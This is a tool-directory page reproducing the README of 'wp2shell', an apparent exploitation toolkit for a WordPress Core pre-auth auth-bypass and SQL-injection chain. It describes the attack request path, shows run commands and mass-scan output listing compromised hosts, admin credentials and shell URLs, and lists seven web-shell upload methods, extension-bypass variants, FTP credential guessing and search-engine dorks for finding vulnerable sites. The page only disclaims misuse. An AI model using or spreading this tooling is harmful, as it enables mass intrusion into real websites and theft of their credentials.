Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-63030 — WordPress Core Pre-Auth RCE — Batch Route Confusion + SQL Injection | Kitploit
Tools/GitHubGitHub/anggatechi/cve-2026-63030
ReconnaissanceVulnerability ScannersExploitationWeb Application ExploitationPost-ExploitationPenetration Testing
GitHubanggatechi/cve-2026-63030

CVE-2026-63030

WordPress Core Pre-Auth RCE — Batch Route Confusion + SQL Injection

View Repository
1131 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

wp2shell — WordPress Core Pre-Auth RCE

CVE-2026-63030 (Batch Route Confusion) + CVE-2026-60137 (SQL Injection)

Zero-dependency exploitation toolkit for the wp2shell vulnerability chain in WordPress Core. A single anonymous HTTP request achieves remote code execution on a default WordPress installation with no plugins required.


📋 Table of Contents

  • Affected Versions
  • Exploitation Flow
  • Quick Start
  • Demo
  • Features
  • Upload Methods
  • Output Files
  • Dork / Hunting
  • References
  • Disclaimer

🎯 Affected Versions

RangeImpactFixed In
7.0.0 – 7.0.1Full RCE7.0.2
6.9.0 – 6.9.4

No plugins or special configuration required. A naked WordPress install is exploitable.


🔗 Exploitation Flow

root@kitploit:~
┌─────────────────────────────────────┐
│  ANONYMOUS HTTP REQUEST             │
│  POST /?rest_route=/batch/v1        │
└────────────────┬────────────────────┘
                 │
┌────────────────▼────────────────────┐
│  CVE-2026-63030: Batch Desync       │
│  Malformed path → WP_Error →        │
│  Array misalignment → Auth Bypass   │
└────────────────┬────────────────────┘
                 │
┌────────────────▼────────────────────┐
│  CVE-2026-60137: SQL Injection      │
│  author__not_in → unsanitized →     │
│  UNION SELECT extraction            │
└────────────────┬────────────────────┘
                 │
     ┌───────────┼───────────┐
     │           │           │
┌────▼────┐ ┌───▼────┐ ┌───▼──────────┐
│ oEmbed  │ │ Blind  │ │ Changeset    │
│ Seeding │ │ SQLi   │ │ Re-entrancy  │
│ Write   │ │ Read   │ │ Escalation   │
│ Cache   │ │ IDs    │ │ → Admin User │
└────┬────┘ └───┬────┘ └───┬──────────┘
     │           │           │
     └───────────┼───────────┘
                 │
┌────────────────▼────────────────────┐
│  ADMIN CREATED (pre-auth!)          │
│  → Login → Upload Shell (7 methods) │
└─────────────────────────────────────┘

🚀 Quick Start

root@kitploit:~
pip install requests
python exploit.py
root@kitploit:~
╔══════════════════════════════════════════════════════════════╗
║  WP2SHELL — WordPress Core Pre-Auth RCE Exploit              ║
║  CVE-2026-63030 (Batch Route Confusion) + CVE-2026-60137    ║
║  Affected: WP 6.9.0 – 7.0.1  |  Fixed: 6.9.5 / 7.0.2       ║
╚══════════════════════════════════════════════════════════════╝

  [?] Target [url/list.txt] > list.txt
  [?] Threads [15] > 15

Single Target

root@kitploit:~
python exploit.py
root@kitploit:~
  [?] Target [url/list.txt] > https://vulnerable-site.com

  ┌────────────────────────────────────────────────────────┐
  │                    SCAN CONFIGURATION                   │
  ├────────────────────────────────────────────────────────┤
  │  Targets : 1       Threads  : 1      Dir  : wp_core_rce│
  └────────────────────────────────────────────────────────┘

  ┌────────────────────────────────────────────────────────┐
  │  EXPLOIT SUCCESS                                       │
  ├────────────────────────────────────────────────────────┤
  │  Method : direct-plugin                                │
  │  Shell  : https://target.com/wp-content/plugins/...  │
  │  Login  : https://target.com/wp-login.php              │
  │  User   : wp2s_abc123def                               │
  │  Pass   : WP2S!xxxxxxxxxxxxxxxx                        │
  └────────────────────────────────────────────────────────┘

Mass Scan

root@kitploit:~
python exploit.py
root@kitploit:~
┌────────────────────────────────────────────────────────┐
│                    SCAN CONFIGURATION                   │
├────────────────────────────────────────────────────────┤
│  Targets : 500    Threads  : 15     Dir  : wp_core_rce │
└────────────────────────────────────────────────────────┘
┌────────────┬────────────────────────────────────────┬──────────────┐
│            │                                        │              │
│  #/TOTAL   │ HOST                                   │ STATUS       │
├────────────┼────────────────────────────────────────┼──────────────┤
│    1/500   │ vulnerable-site.com                    │ SHELL        │
│            │   ↳ direct-plugin → https://vulnerabl...             │
│    2/500   │ target2.com                            │ ADM          │
│    3/500   │ safe-site.org                          │ SQLi         │
│    4/500   │ nope.com                               │ NO           │
│    5/500   │ jackpot.net                            │ SHELL        │
│            │   ↳ theme-editor → https://jackpot.ne...              │
└────────────┴────────────────────────────────────────┴──────────────┘
┌────────────────────────────────────────────────────────┐
│  SHELL     2   ADMIN    3   SQLi   15   TOTAL    50/500│
└────────────────────────────────────────────────────────┘
├────────────────────────────────────────────────────────┤
│  result.txt         │  admin credentials               │
│  result_upload.txt  │  shell upload URLs               │
│  log/scanned.txt    │  scanned hosts                   │
└────────────────────────────────────────────────────────┘

✨ Features

  • Zero dependencies — Python 3.11+ stdlib only (requests for expander only)
  • Multi-threaded — 15 threads default, up to 30
  • Auto-resume — log/scanned.txt skips already-scanned targets
  • Silent batch mode — Clean table output, no log spam
  • Auto-detection — WordPress + batch API + SQLi availability checks
  • 7 parallel upload methods — First-win race condition

📤 Upload Methods

All 7 methods execute in parallel via ThreadPoolExecutor. The first successful method wins and the rest are cancelled.

Media upload extensions: .phtml .php5 .php7 .php8 .pht .phar .shtml .php4 .phps .phtm .Php5 .PhP5 .pHtml .phP .PHP

FTP credentials tried: localhost / 127.0.0.1 with root / www-data / WordPress admin credentials


📁 Output Files

FileContent
result.txtAdmin credentials: url.com/wp-login.php:user:pass
result_upload.txtShell URLs: shell_url | login_url:user:pass | method

🔍 Dork / Hunting

Shodan

root@kitploit:~
http.title:"WordPress"
http.component:"WordPress"

Fofa

root@kitploit:~
app="WordPress"
body="wp-json"
body="/batch/v1"

ZoomEye

root@kitploit:~
app:"WordPress"
"/wp-json/batch/v1"

Censys

root@kitploit:~
services.http.response.body:"/wp-json/batch/v1"

📚 References

  • Searchlight Cyber Advisory
  • Hadrian Technical Blog
  • WordPress 7.0.2 Release
  • Assetnote Research
  • Wordfence Threat Intel

⚠️ Disclaimer

This tool is provided for authorized security research and penetration testing only. Use only on systems you own or have explicit written permission to test. The authors accept no liability for misuse.


📄 License

MIT License. See LICENSE for details.

Download Tool
Full RCE
6.9.5
6.8.0 – 6.8.5SQLi only6.8.6
#MethodDescription
1direct-pluginUpload zip via /wp-admin/plugin-install.php
2direct-themeUpload zip via /wp-admin/theme-install.php
3rest-apiPOST zip to /wp-json/wp/v2/plugins with auth cookie
4plugin-editorWrite PHP directly via /wp-admin/plugin-editor.php
5theme-editorWrite PHP into active theme directory
6ftp-bypassSubmit FTP credentials when WordPress requests them
7media-uploadUpload PHP via media library with 15 extension variants
log/scanned.txt
All scanned hosts (auto-skip on re-run)